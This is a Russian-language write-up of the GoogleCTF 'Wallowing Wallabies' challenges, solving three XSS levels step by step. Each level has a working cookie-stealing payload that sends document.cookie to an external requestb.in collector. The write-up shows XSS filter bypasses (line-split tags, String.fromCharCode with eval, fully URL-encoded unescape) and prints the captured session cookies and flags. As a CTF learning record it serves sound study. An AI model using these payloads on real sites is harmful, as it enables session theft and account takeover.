Web writeup GoogleCTF - Wallowing Wallabies
В этой статье мы разберем цепочку тасков Wallowing Wallabies на XSS уязвимость.
Про XSS(Cross-Site Scripting) вы можете почитать на
https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D1%8B%D0%B9_%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%B8%D0%BD%D0%B3 и http://itsecwiki.org/index.php?title=Xss
В задании нам дан url: https://wallowing-wallabies.ctfcompetition.com
Переходим по ней и видим следующую страницу:
Изучим ее и убедимся, что на ней нет никакой ценной информации.
Посмотрим на файл robots.txt, отвечающий за индексацию сайта поисковиками.
В нем находится следующее содержимое:
User-agent: *
Disallow: /deep-blue-sea/
Disallow: /deep-blue-sea/team/
# Yes, these are alphabet puns :)
Disallow: /deep-blue-sea/team/characters
Disallow: /deep-blue-sea/team/paragraphs
Disallow: /deep-blue-sea/team/lines
Disallow: /deep-blue-sea/team/runes
Disallow: /deep-blue-sea/team/vendors
Пересмотрев данные файлы, замечаем, что ответ 200 возвращается только на странице /deep-blue-sea/team/vendors .
Переходим на нее и видим наш первый таск на XSS.
Первый уровень
Вот как выглядит страница:
Убедимся, что фильтрация отсутствует.
Попытаемся проэксплуатировать XSS, используя сниффер http://requestb.in/ .
Наш JS exploit будет выглядеть так:
<script>
img=new Image();
img.src='https://requestb.in/14tyf951?'+document.cookie;
</script>
Некоторые заметки по коду: их бот работает на Chrome Browser, а тк в браузер встроена XSS protection, то впоследствии нам придется это учитывать. Так же у вас может возникнуть вопрос, зачем же я использовал HTTPS? Все достаточно просто: в почти всех популярных браузерах запрещено передавать данные с защищенной (HTTPS) станицы на незащищенную(HTTP) тк есть риск перехватить.
Попытаемся проэксплуатировать и ..
Такс.. Они хотят, чтобы у нас в коде содержался код с помощью конструкции <script src= (а точнее после тестирования узнали, что должен он выглядеть как ). Но такой код плохо читается, поэтому покажу вам, как можно было это сделать:
<script src="javascript:CODE"></script>
<script>
img=new Image();
img.src='https://requestb.in/14tyf951?'+document.cookie;
</script>
Эксплуатируем код и проверяем наш сниффер:
Нам пришли куки бота!
green-mountains=eyJub25jZSI6IjBhMDM0OGNhMGIzODc5NTMiLCJhbGxvd2VkIjoiXi9kZWVwLWJsdWUtc2VhL3RlYW0vdmVuZG9ycy4qJCIsImV4cGlyeSI6MTQ2MjE4NDk4MH0=|1462184977|1dda0c7e2d75668c34c3fc49658e2a66c761373a
Заменяем их в браузере, например с помощью плагинов, перезагружаем страницу и видим следующее!
Первый уровень выполнен!
FLAG: CTF{feeling_robbed_of_your_cookies}
Второй уровень
По предыдущему скрину вы можете заметить новую вкладку - Messaging. Перейдем на нее (https://wallowing-wallabies.ctfcompetition.com/deep-blue-sea/team/vendors/msg) и увидим следующую стандартную XSS форму:
Поэкспериментировав с ней видим, что она фильтрует большинство XSS payload'ов.
Единственное, что работало, так это:
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
Но и там и там XSS была в параметре data. А в Google Chrome XSS protection запрещает запрашивать куки javascript'у который находится в data. Поэтому придется искать нестандартные варианты обхода!
Немного поэкспериментировав, замечаем что тег не фильтруется, если последний символ ">" отсутствует на данной строчке. Так давайте его перенесем на следующую! (запятая для того чтобы код был виден)
<,script
>
a=1;
</script
>
Проверяем в javascript консоли браузера переменную "a":
Переменная существует --> код проэксплуатировался!
Попробуем заменить js код на код для сниффера:
<script
>
img=new Image();
img.src='https://requestb.in/14tyf951?'+document.cookie;
<,/script
>
Отсылаем и видим, что наш код отчасти профильтровался:
<script
>
img=new Image();
img.**ANTI**HACKER**'https://requestb.in/14tyf951?'+document.cookie;
<,/script
>
Так давайте весь наш код заменим массивом номеров символов ASCII и запустим командой eval:
Вначале получим массив номеров с помощью Python:
>>> s = """img=new Image(); img.src='https://requestb.in/14tyf951?'+document.cookie;"""
>>> m = []
>>> for x in s: m.append(ord(x))
>>> m
[105, 109, 103, 61, 110, 101, 119, 32, 73, 109, 97, 103, 101, 40, 41, 59, 32, 105, 109, 103, 46, 115, 114, 99, 61, 39, 104, 116, 116, 112, 115, 58, 47, 47, 114, 101, 113, 117, 101, 115, 116, 98, 46, 105, 110, 47, 49, 52, 116, 121, 102, 57, 53, 49, 63, 39, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59]
Далее упаковываем в eval и отсылаем следующий код:
<script
>
eval(String.fromCharCode(105, 109, 103, 61, 110, 101, 119, 32, 73, 109, 97, 103, 101, 40, 41, 59, 32, 105, 109, 103, 46, 115, 114, 99, 61, 39, 104, 116, 116, 112, 115, 58, 47, 47, 114, 101, 113, 117, 101, 115, 116, 98, 46, 105, 110, 47, 49, 52, 116, 121, 102, 57, 53, 49, 63, 39, 43, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 59));
<,/script
>
И ловим куки бота!
green-mountains=eyJub25jZSI6IjhiOTNlYzRjNzMyOWE0Y2YiLCJhbGxvd2VkIjoiXi9kZWVwLWJsdWUtc2VhL3RlYW0vY2hhcmFjdGVycy4qJCIsImV4cGlyeSI6MTQ2MjE4NjM1OX0=|1462186356|23c86b6014d8ccfc472de12d23bf1be1d6f56f3a
Заменяем их и..
403 ошибка, Окей куки мы получили, далее есть два варианта.
Первый вариант - перебираем директории из файла robots.txt и находим /deep-blue-sea/team/characters, которая возвращает ответ 200.
Второй вариант - видим, что в куках есть строка base64
eyJub25jZSI6IjhiOTNlYzRjNzMyOWE0Y2YiLCJhbGxvd2VkIjoiXi9kZWVwLWJsdWUtc2VhL3RlYW0vY2hhcmFjdGVycy4qJCIsImV4cGlyeSI6MTQ2MjE4NjM1OX0=
Расшифруем ее, например с помощью сайта base64.ru и получим следующее:
{"nonce":"8b93ec4c7329a4cf","allowed":"^/deep-blue-sea/team/characters.*$","expiry":1462186359}
Видим, что доступ нам разрешен по пути /deep-blue-sea/team/characters.
Переходим и видим флаг!
FLAG: CTF{strict_contextual_autoescaping_to_solve_your_xss_woes}
Третий уровень
Вот и последний(третий) уровень на XSS.
По стандарту изучаем фильтрацию и понимаем, что единственное, что фильтруется - точка.
Гуглим и видим множество вариантов. Самый простой из них - http://seclists.org/fulldisclosure/2008/Jun/230
Другие варианты могут не подойти тк у нас
Обрабатываем наш код с помощью urlencode КАЖДОГО символа (возможно сделать в burpsuite) и поставляем в пример на сайте. В итоге у нас будет следующий код:
<script>
eval(unescape(String(/%2a%2a%2f%69%6d%67%3d%6e%65%77%20%49%6d%61%67%65%28%29%3b%20%69%6d%67%2e%73%72%63%3d%27%68%74%74%70%73%3a%2f%2f%72%65%71%75%65%73%74%62%2e%69%6e%2f%31%34%74%79%66%39%35%31%3f%27%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b%2f%2a%2a/)));
</script>
Отсылаем и получаем куки:
green-mountains=eyJub25jZSI6IjRkYjY5NTkwNzNkZDI1MTMiLCJhbGxvd2VkIjoiXi9kZWVwLWJsdWUtc2VhL3RlYW0vcGFyYWdyYXBoLiokIiwiZXhwaXJ5IjoxNDYyMTg3NzA3fQ==|1462187704|ccc9cb5ca2f242170b4ffb36ed0418c1ba2c0fde
Определяем что они дают доступ к /deep-blue-sea/team/paragraph* (* - любой знак) , вспоминаем что в robots.txt у нас был путь /deep-blue-sea/team/paragraphs . Переходим по данному пути, заменяем куки, перезагружаем страницу и получаем последний флаг!
FLAG: CTF{intents_is_the_INTENTed_way_to_solve_some_an_android_level}
Комментарии по таску: самым сложным пунктом для меня оказался второй тк я пошел в глушь и начал искать способы обхода получения куки с META и object тегами. Так же тут очень помог burpsuite с енкодерами/декодерами и составлением запросов.
Суммарно на решение ушло 4-5 часов (3-4 из них на второй таск).
- Автор: drakylar
- Комментарии: 0
- Просмотры: 5956